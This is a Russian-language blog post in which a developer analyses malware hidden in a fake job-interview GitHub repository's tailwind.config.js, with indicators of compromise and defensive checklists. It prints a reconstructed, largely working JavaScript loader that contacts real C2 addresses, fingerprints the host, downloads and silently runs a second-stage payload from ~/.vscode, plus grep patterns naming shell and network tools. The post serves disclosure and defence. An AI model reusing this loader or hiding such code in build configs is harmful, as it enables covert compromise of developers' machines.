TL;DR:

В GitHub-репозитории для тестового задания был вредоносный код, спрятанный в tailwind.config.js. Сначала файл выглядел как обычный Tailwind-конфиг, но в конце была длинная обфусцированная JS-строка. При загрузке конфига код подключал fs, os, request, path, node:process и child_process, связывался с C2 на 78.142.218.26:1244 или 66.235.168.17:1244, отправлял минимальный фингерпринт машины, скачивал второй payload в ~/.vscode/f.js, создавал ~/.vscode/package.json, выполнял npm install и запускал payload в фоне через node/nohup. Иными словами, это был не обычный тестовый проект, а loader/downloader, замаскированный под frontend-задание.

Социальная часть

В LinkedIn мне написал некто, представившийся как Renz Andrey Barrion, с предложением работы. Страница уже удалена. Немного смутила подпись: «Project Manager at Bext360» (не утверждаю, что Bext360 причастна к нижеизложенному). Показалось странным, что пишет проджект, а не HR. Но да ладно, мало ли какие процедуры найма могут быть.

Renz сообщил, что в его компанию требуется Senior Front End Developer на неплохих условиях. Я скинул резюме, он расспросил об опыте, подробно описал процесс найма и предложил пройти тестовое, с чем я согласился – в последнее время какой-то ренессанс тестовых. Ренц скинул ссылку на https://github.com/Stash-Home/Home-assignment-u (тоже уже удалена).

При скачивании я обратил внимание на размер репозитория – больше 5 мегабайт, что как бы очень много для репы с тестовым заданием (понятно, что могут быть изображения, но все равно). Дополнительно удивило отсутствие форков: обычно тестовые репозитории форкаются кандидатами. Отсутствие форков нетипично для таких репозиториев.

Начал разбираться и обнаружил вот что.

На последней строчке tailwind.config.js была замаскированная большим количеством пробелов обфусцированная строка:

const a0ag=a0a1,a0ah=a0a1,...

Интересно, что же это такое?

Как устроена обфускация

В начале был массив base64-строк:

function a0a0() {
  const bm = ['AM9PBG','ywnisNy','wgDkCKO', ...]
  ...
}

Далее массив циклически сдвигался до тех пор, пока выражение с parseInt(...) не даст нужное число:

(function(a0,a1){
  const a2 = a0();
  while (!![]) {
    try {
      const a3 = ...;
      if (a3 === a1) break;
      else a2.push(a2.shift());
    } catch {
      a2.push(a2.shift());
    }
  }
}(a0a0, 0x7e0c4));

Цель этого – запутать соответствие индексов и строк.

Затем функция a0a1(...) достаёт строку из массива и декодирует её, что упрощённо выглядит так:

function decodeFromStringTable(index) {
  const shiftedIndex = index - 0x113;
  const encoded = stringTable[shiftedIndex];
  
  return base64DecodeURIComponent(encoded);
}

И мы получаем, например:

a0a1(0x137) => "utf8"
a0a1(0x182) => "base6"
a0a1(0x171) => "from"
a0a1(0x125) => "toStr"
a0a1(0x126) => "ing"

И потом собираем это:

Buffer.from(..., 'base64').toString('utf8')

Ещё один декодер отрезает первый мусорный символ, а остаток декодирует как base64:

function n(value) {
  const withoutFirstChar = value.slice(1);
  return Buffer.from(withoutFirstChar, 'base64').toString('utf8');
}

Например:

n('ab3M') => 'os'
n('bZnM') => 'fs'
n('DcmVxdWVzdA') => 'request'
n('NcGF0aA') => 'path'
n('Xbm9kZTpwc...') => 'node:process'
n('4Y2hpbGRf') + n('acHJvY2Vzcw') => 'child_process'

Некоторые строки спрятаны как массивы чисел и к ним применяется XOR с ключом:

const S = [0x70, 0xa0, 0x89, 0x48];

function U(arr) {
  let result = '';

  for (let i = 0; i < arr.length; i++) {
    result += String.fromCharCode((arr[i] ^ S[i & 3]) & 0xff);
  }

  return result;
}

что даёт после расшифровки:

U([0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec]) => ".vscode"
U([0x16,0x8e,0xe3,0x3b])                 => "f.js"
U([0x0,0xc1,0xea,0x23,0x11,0xc7,0xec,0x66,0x1a,0xd3,0xe6,0x26])
  => "package.json"

U([0x5f,0xc6,0xa6]) => "/f/"
U([0x5f,0xd0])      => "/p"

U([0x13,0xc4]) => "cd"
U([0x56,0x86,0xa9,0x26,0x0,0xcd,0xa9,0x21,0x50,0x8d,0xa4,0x3b,0x19,0xcc,0xec,0x26,0x4])
  => "&& npm i --silent"

U([0x1e,0xd0,0xe4,0x68,0x5d,0x8d,0xf9,0x3a,0x15,0xc6,0xe0,0x30])
  => "npm --prefix"

U([0x1e,0xcf,0xed,0x2d,0x2f,0xcd,0xe6,0x2c,0x5,0xcc,0xec,0x3b])
  => "node_modules"

U([0x1e,0xcf,0xe1,0x3d,0x0]) => "nohup"

После деобфускации ключевая часть выглядит примерно так:

const os = require('os');
const fs = require('fs');
const request = require('request');
const path = require('path');
const process = require('node:process');
const child_process = require('child_process');

const homeDir = os.homedir();
const hostname = os.hostname();
const platform = os.platform();
const userInfo = os.userInfo();

const primaryC2 = 'http://78.142.218.26:1244';
const fallbackC2 = 'http://66.235.168.17:1244';

const campaignId = '90284f6b7643';

Упрощённый псевдокод вредоноса

Это упрощённая реконструкция логики (C2 в тексте это "Command and Control", то есть сервер командования и управления):

/**
 * Entry point вредоносного кода.
 *
 * Инициализирует timestamp текущего запуска и начинает первый этап связи
 * с управляющим сервером.
 *
 * В оригинальном коде эта функция вызывается сразу при загрузке
 * `tailwind.config.js`, то есть во время dev/build процесса.
 *
 * Поведение:
 * 1. Сохраняет время запуска.
 * 2. Пытается связаться с основным C2-сервером.
 * 3. При ошибке дальше сработает fallback-логика.
 *
 * @returns {void}
 */
function main() {
  timestamp = Date.now().toString();

  tryHandshake(0);
}

/**
 * Пытается выполнить первичный handshake с сервером.
 *
 * Функция отправляет GET-запрос на `/s/<campaignId>`.
 * Первый вызов идёт на основной сервер. Если основной сервер недоступен,
 * код пробует fallback.
 *
 * Этот этап нужен вредоносу, чтобы получить актуальный адрес сервера
 * и тип payload, который нужно скачать.
 *
 * @param {number} index
 * Индекс сервера в списке.
 * `0` — основной сервер.
 * `1` — fallback-сервер.
 *
 * @returns {void}
 */
function tryHandshake(index) {
  const url = `${C2[index]}/s/${campaignId}`;

  request.get(url, (error, response, body) => {
    if (error) {
      if (index < 1) {
        tryHandshake(1);
      }
      return;
    }

    if (!parseServerResponse(body)) {
      return;
    }

    reportHost();
    downloadAndRunPayload();
  });
}

/**
 * Разбирает ответ C2-сервера после handshake-запроса.
 *
 * Оригинальный код ожидает, что ответ начинается с маркера `ZT3`.
 * Всё, что идёт после `ZT3`, декодируется из base64.
 *
 * После декодирования вредонос ожидает строку примерно такого формата:
 *
 * `<host>,<type>`
 *
 * Где:
 * - `host` — актуальный C2-host, с которого дальше будут скачиваться payload и package.json.
 * - `type` — идентификатор или вариант payload.
 *
 * Если формат ответа не подходит, функция возвращает `false`,
 * и дальнейшее выполнение прекращается.
 *
 * @param {string} body
 * Тело HTTP-ответа.
 *
 * @returns {boolean}
 * `true`, если ответ успешно разобран и глобальные значения `baseUrl` и `type` установлены.
 * `false`, если ответ не похож на ожидаемый C2-ответ.
 */
function parseServerResponse(body) {
  if (!body.startsWith('ZT3')) {
    return false;
  }

  const encoded = body.slice(3);
  const decoded = Buffer.from(encoded, 'base64').toString('utf8');

  const parts = decoded.split(',');

  baseUrl = `http://${parts[0]}:1244`;
  type = parts[1];

  return true;
}

/**
 * Отправляет информацию о заражённой машине на сервер злоумышленников.
 *
 * Функция делает POST-запрос на `/keys` и передаёт набор данных,
 * по которым оператор вредоноса может идентифицировать машину и контекст запуска.
 *
 * В отправляемые данные входят:
 * - timestamp запуска;
 * - тип payload, полученный от C2;
 * - hostname;
 * - username на macOS;
 * - путь или аргумент процесса, из которого был запущен код.
 *
 * Название `/keys` может вводить в заблуждение: по поведению это больше похоже
 * на регистрацию infected host/beaconing, а не обязательно на отправку
 * криптографических ключей.
 *
 * @returns {void}
 */
function reportHost() {
  let hostId = hostname;

  if (platform[0] === 'd') {
    hostId = `${hostId}+${userInfo.username}`;
  }

  let commandContext = '5A1';

  try {
    commandContext += process.argv[1];
  } catch {}

  request.post({
    url: `${baseUrl}/keys`,
    formData: {
      ts: timestamp,
      type,
      hid: hostId,
      ss: 'oqr',
      cc: commandContext,
    },
  });
}

/**
 * Скачивает второй этап вредоноса и готовит его к запуску.
 *
 * Функция создаёт директорию `~/.vscode`, если её ещё нет.
 * Затем скачивает JS-payload с C2 и сохраняет его как `f.js`.
 *
 * Использование `~/.vscode` выглядит как попытка маскировки:
 * такая папка может показаться разработчику нормальной частью окружения
 * VS Code/Cursor.
 *
 * Если создать `~/.vscode` не удалось, код использует домашнюю директорию
 * пользователя как fallback.
 *
 * @returns {void}
 */
function downloadAndRunPayload() {
  let targetDir = path.join(homeDir, '.vscode');

  try {
    fs.mkdirSync(targetDir, { recursive: true });
  } catch {
    targetDir = homeDir;
  }

  const payloadPath = path.join(targetDir, 'f.js');

  try {
    fs.rmSync(payloadPath);
  } catch {}

  request.get(`${baseUrl}/f/${type}`, (error, response, body) => {
    if (error) return;

    try {
      fs.writeFileSync(payloadPath, body);
    } catch {}

    downloadPackageJson(targetDir);
  });
}

/**
 * Скачивает `package.json` для созданного вредоносом локального npm-проекта.
 *
 * После скачивания `f.js` вредонос также скачивает `package.json`
 * с C2 endpoint `/p`.
 *
 * Это нужно для установки зависимостей, которые потребуются скачанному payload.
 * То есть вредонос создаёт отдельный npm-проект внутри `~/.vscode`.
 *
 * В оригинальной логике есть сравнение размера:
 * если уже существующий `package.json` меньше нового тела ответа,
 * файл перезаписывается.
 *
 * @param {string} targetDir
 * Директория, куда ранее был сохранён `f.js`.
 * Обычно это `~/.vscode`.
 *
 * @returns {void}
 */
function downloadPackageJson(targetDir) {
  const packagePath = path.join(targetDir, 'package.json');

  let oldSize = 0;

  if (fs.existsSync(packagePath)) {
    try {
      oldSize = fs.statSync(packagePath).size;
    } catch {}
  }

  request.get(`${baseUrl}/p`, (error, response, body) => {
    if (error) return;

    try {
      if (body.length > oldSize) {
        fs.writeFileSync(packagePath, body);
      }
    } catch {}

    installDependencies(targetDir);
  });
}

/**
 * Запускает установку npm-зависимостей для скачанного payload.
 *
 * Функция выполняет команду вида:
 *
 * `cd "<targetDir>" && npm i --silent`
 *
 * Это означает, что вредонос пытается установить зависимости
 * из скачанного `package.json` без явного вывода в консоль.
 *
 * Флаг `windowsHide: true` на Windows скрывает окно процесса,
 * что является дополнительным признаком скрытного поведения.
 *
 * После завершения установки вызывается проверка `node_modules`
 * и запуск payload.
 *
 * @param {string} targetDir
 * Директория локального npm-проекта, созданного вредоносом.
 *
 * @returns {void}
 */
function installDependencies(targetDir) {
  child_process.exec(
    `cd "${targetDir}" && npm i --silent`,
    { windowsHide: true },
    () => {
      ensureNodeModulesAndRun(targetDir);
    },
  );
}

/**
 * Проверяет наличие `node_modules` и при необходимости повторяет установку зависимостей.
 *
 * Если после первой команды `npm i --silent` директория `node_modules`
 * не появилась, вредонос запускает альтернативную команду:
 *
 * `npm --prefix "<targetDir>" i`
 *
 * Это повышает шанс успешной установки зависимостей в разных окружениях.
 *
 * Если `node_modules` уже существует или повторная установка завершилась,
 * функция переходит к запуску payload.
 *
 * @param {string} targetDir
 * Директория, где лежат `f.js`, `package.json` и потенциальный `node_modules`.
 *
 * @returns {void}
 */
function ensureNodeModulesAndRun(targetDir) {
  const nodeModules = path.join(targetDir, 'node_modules');

  if (!fs.existsSync(nodeModules)) {
    child_process.exec(
      `npm --prefix "${targetDir}" i`,
      { windowsHide: true },
      () => runPayload(targetDir),
    );
  } else {
    runPayload(targetDir);
  }
}

/**
 * Запускает скачанный `f.js` как отдельный фоновый процесс.
 *
 * Поведение отличается по платформам:
 *
 * На Windows:
 * - запускается текущий Node.js runtime через `process.execPath`;
 * - аргументом передаётся `f.js`;
 * - рабочая директория — `targetDir`;
 * - окно процесса скрывается через `windowsHide: true`;
 * - stdio игнорируется.
 *
 * На Linux/macOS:
 * - используется `nohup`;
 * - процесс запускается detached;
 * - stdin/stdout/stderr перенаправляются в ignore или `/dev/null`;
 * - после `unref()` процесс отвязывается от родителя.
 *
 * Итог: payload может продолжить работу даже после завершения npm/build-процесса,
 * который изначально загрузил `tailwind.config.js`.
 *
 * @param {string} targetDir
 * Директория, из которой будет запущен `f.js`.
 *
 * @returns {void}
 */
function runPayload(targetDir) {
  if (platform[0] === 'w') {
    const child = child_process.spawn(
      process.execPath,
      ['f.js'],
      {
        cwd: targetDir,
        stdio: 'ignore',
        windowsHide: true,
      },
    );

    child.unref();
  } else {
    const child = child_process.spawn(
      'nohup',
      [process.execPath, 'f.js'],
      {
        cwd: targetDir,
        detached: true,
        stdio: ['ignore', '/dev/null', '/dev/null'],
      },
    );

    child.unref();
  }
}

Что же тут происходит?

Сначала делается запрос на:

http://78.142.218.26:1244/s/90284f6b7643

// фоллбек на
http://66.235.168.17:1244/s/90284f6b7643

После декодирования ожидается строка вида:

<host>,<type>

Условно

example.com,abc

Тогда вредонос строит:

http://example.com:1244

И сохраняет

type = "abc"

Информация о жертве отправляется на:

http://<host>:1244/keys

С примерно такими данными:

{
  ts: Date.now().toString(),               // timestamp запуска
  type: typeFromServer,                    // тип/идентификатор payload, полученный от C2
  hid: hostnameOrHostnamePlusUsername,     // host identifier
  ss: 'oqr',                               // константа "oqr", вероятно, маркер кампании или версии
  cc: '5A1' + process.argv[1]              // строка "5A1" + путь к текущему скрипту/процессу
}

Интересный момент:

if (platform[0] === 'd') {
  hid = hostname + '+' + username;
}

os.platform() возвращает:

win32
linux
darwin

То есть username добавляется именно для macOS (darwin).

Затем происходит попытка создать директорию:

~/.vscode

А если не получается, используется просто домашняя папка:

let targetDir = path.join(os.homedir(), '.vscode');

try {
  fs.mkdirSync(targetDir, { recursive: true });
} catch {
  targetDir = os.homedir();
}

Почему .vscode? Это хороший выбор для атаки. Такая папка выглядит привычно для разработчика и не бросается в глаза рядом с расширениями VS Code или Cursor.

Затем происходит скачивание:

http://<host>:1244/f/<type>

И payload записывается в ~/.vscode/f.js.

Затем данные с http://<host>:1244/p скачиваются и записываются в ~/.vscode/package.json.

Далее устанавливаются зависимости:

cd "~/.vscode" && npm i --silent
npm --prefix "~/.vscode" i

Это важно: код не просто скачивает f.js, а ещё и подготавливает отдельный npm-проект внутри домашней папки пользователя. То есть создаётся самостоятельный Node.js-проект вне репозитория. Даже если потом удалить папку с тестовым заданием, ~/.vscode/f.js и ~/.vscode/node_modules могут остаться в домашней папке. При этом основная логика вредоноса находится уже не в исходном репозитории, а в файле, скачанном на втором этапе.

Затем payload запускается в фоне:

// на Windows
child_process.spawn(process.execPath, ['f.js'], {
  cwd: targetDir,
  stdio: 'ignore',
  windowsHide: true,
});

// на Linux/MacOs
child_process.spawn('nohup', [process.execPath, 'f.js'], {
  cwd: targetDir,
  detached: true,
  stdio: ['ignore', '/dev/null', '/dev/null'],
});

И после этого процесс отвязывается от родительского процесса и продолжает жить отдельно:

child.unref();

Есть небольшой интервал (10 минут 16 секунд), с которым вредонос пытается скачать данные, если сервер временно недоступен. Через несколько попыток интервал очищается.

Что же отправляется?

Кажется, что отправляется не так много. os.userInfo() возвращает примерно такой объект:

{
  username: "john",
  uid: 1000,
  gid: 1000,
  shell: "/bin/bash",
  homedir: "/home/john"
}

Но на первом этапе используется только userInfo.username, и то только если платформа macOS. На Linux/Windows username не добавляется.

И хотя код отправляет не так много, сервер всё равно видит сетевые метаданные:

source IP address;
время подключения;
порт назначения;
HTTP path;
возможные HTTP headers от Node request library.

Кроме того, первый handshake идёт на GET /s/90284f6b7643, что позволяет понять, из какого репозитория пришёл запуск.

На первом этапе нет прямого чтения SSH-ключей, .env-файлов, cookies, browser profiles, GitHub tokens или содержимого проектов. Но он скачивает f.js, внутри которого, по-видимому, и будет содержаться основная вредоносная логика.

Иными словами, видимый код в tailwind.config.js – это не полноценный похититель данных, а загрузчик. Он отправляет минимальный фингерпринт машины и запускает второй этап, который уже может выполнить основной сбор данных.

Что ещё было подозрительно в репозитории?

В package.json были такие зависимости:

"child_process": "^1.0.2",
"crypto": "^1.0.1",
"fs": "^0.0.1-security",
"path": "^0.12.7"

Это core-модули Node.js. В нормальном проекте их не ставят из npm.

Какие выводы и уроки?

Никогда не запускайте чужой проект сразу. Опасными могут быть даже:

npm install
npm ci
yarn
pnpm install

Перед запуском попробуйте поискать опасные паттерны:

grep -RInE \
  "child_process|execSync|spawn|eval\(|Function\(|atob\(|Buffer\.from|curl|wget|powershell|EncodedCommand|nohup|/dev/null|\.vscode|AppData|os\.homedir|os\.userInfo|request\(|fetch\(|http://|https://" \
  . \
  --exclude-dir=node_modules \
  --exclude-dir=.git \
  --exclude-dir=dist \
  --exclude-dir=build

Проверяйте package.json на подозрительные зависимости:

"preinstall": "...",
"install": "...",
"postinstall": "...",
"prepare": "...",
"child_process": "...",
"fs": "...",
"path": "...",
"crypto": "..."

Как уже говорилось, это core-модули Node.js, в нормальном проекте они не должны быть npm-зависимостями.

Устанавливайте зависимости только с отключёнными lifecycle-скриптами:

npm ci --ignore-scripts
npm install --ignore-scripts
pnpm install --ignore-scripts
yarn install --ignore-scripts

Но помните, флаг --ignore-scripts защищает только от npm lifecycle-скриптов. Он не защитит, если потом вы запускаете npm run dev, а dev-сервер загружает вредоносный tailwind.config.js, vite.config.js, webpack.config.js, nuxt.config.ts и т.д. Не забывайте, что эти конфиги – это не просто JSON-настройки. Это JS/TS-код, который выполняется Node.js во время dev/build. Поэтому вредонос в таком файле может выполниться без отдельного явного запуска.

Вообще, лучше запускать чужие проекты на отдельной виртуальной машине или отдельном WSL в изолированной среде.

Не открывайте чужой проект в IDE сразу в доверенном режиме, а помечайте его как untrusted.

Можно сделать в чужом проекте быстрый поиск IP/URL, так как их наличие в config-файлах, особенно на нестандартных портах – это сильный красный флаг:

rg -n \
  "https?://|[0-9]{1,3}(\.[0-9]{1,3}){3}|localhost|127\.0\.0\.1|webhook|telegram|discord|ngrok|pastebin|gist|raw\.githubusercontent" \
  -g '!node_modules' \
  -g '!.git'

Критически оцените GitHub-аккаунт, с которого качаете. На странице https://github.com/Stash-Home виден странный набор проектов: serenity, typst, fontations, zune-image, blend2d-apps, cmap-resources, covbot, learning-php и т.д. Многие из них выглядят как копии известных open-source проектов, а не как собственные проекты. Например, serenity описан как “The Serenity Operating System”, содержит 66 605 коммитов, но у него аж целых 0 звёзд и 0 форков. Это должно вас насторожить.

Я не могу утверждать, был ли аккаунт Stash-Home изначально создан злоумышленником или был скомпрометирован. Но публичные признаки выглядят подозрительно: много копий известных проектов, нулевая социальная активность, следы однотипных automated update-коммитов.

Ну и обращайте внимание на размер скачанного репозитория :-)

Ну а если вы всё же запустили такой проект, то:

Отключите интернет или закройте подозрительные процессы;
Проверьте ~/.vscode/f.js и ~/.vscode/package.json;
Проверьте процессы node/npm/powershell/cmd;
Проверьте автозапуск и scheduled tasks;
Смените токены, которые могут быть доступны: GitHub, GitLab, npm, SSH, cloud credentials и т.д.;
Запустите полную проверку антивирусом/защитником.

P.S. На всякий случай вот хэши архива репозитория и файла конфига:

Archive SHA256:
4ab54628c32954056033146013ec962fa3e52a1f261f69ce526c71793a6d6e13

tailwind.config.js SHA256:
b19ed4f3161fdf569309272fff3fa3fbf46eab7a142b314244a363a1d552f4de

C2:
78.142.218.26:1244
66.235.168.17:1244

Paths:
~/.vscode/f.js
~/.vscode/package.json

P.P.S. Пользуясь случаем, хочу сказать то, что касается нас как сообщество разработчиков. Тестовые задания – это зло и пережиток ~~царского~~ прошлого. Сегодня они почти ничего не позволяют оценить. Они отнимают наше время, которое мы могли бы потратить на собственные проекты и развитие. То, что я согласился выполнить это тестовое, меня не красит. Впрочем, я его и не выполнил. И чем больше мы, разработчики, будем отказываться выполнять тестовые задания, тем быстрее эта порочная практика окончательно уйдёт в прошлое. ИМХО, бойкот тестовых заданий – это благо для нас как для профессионального сообщества.

Бэкдор вместо тестового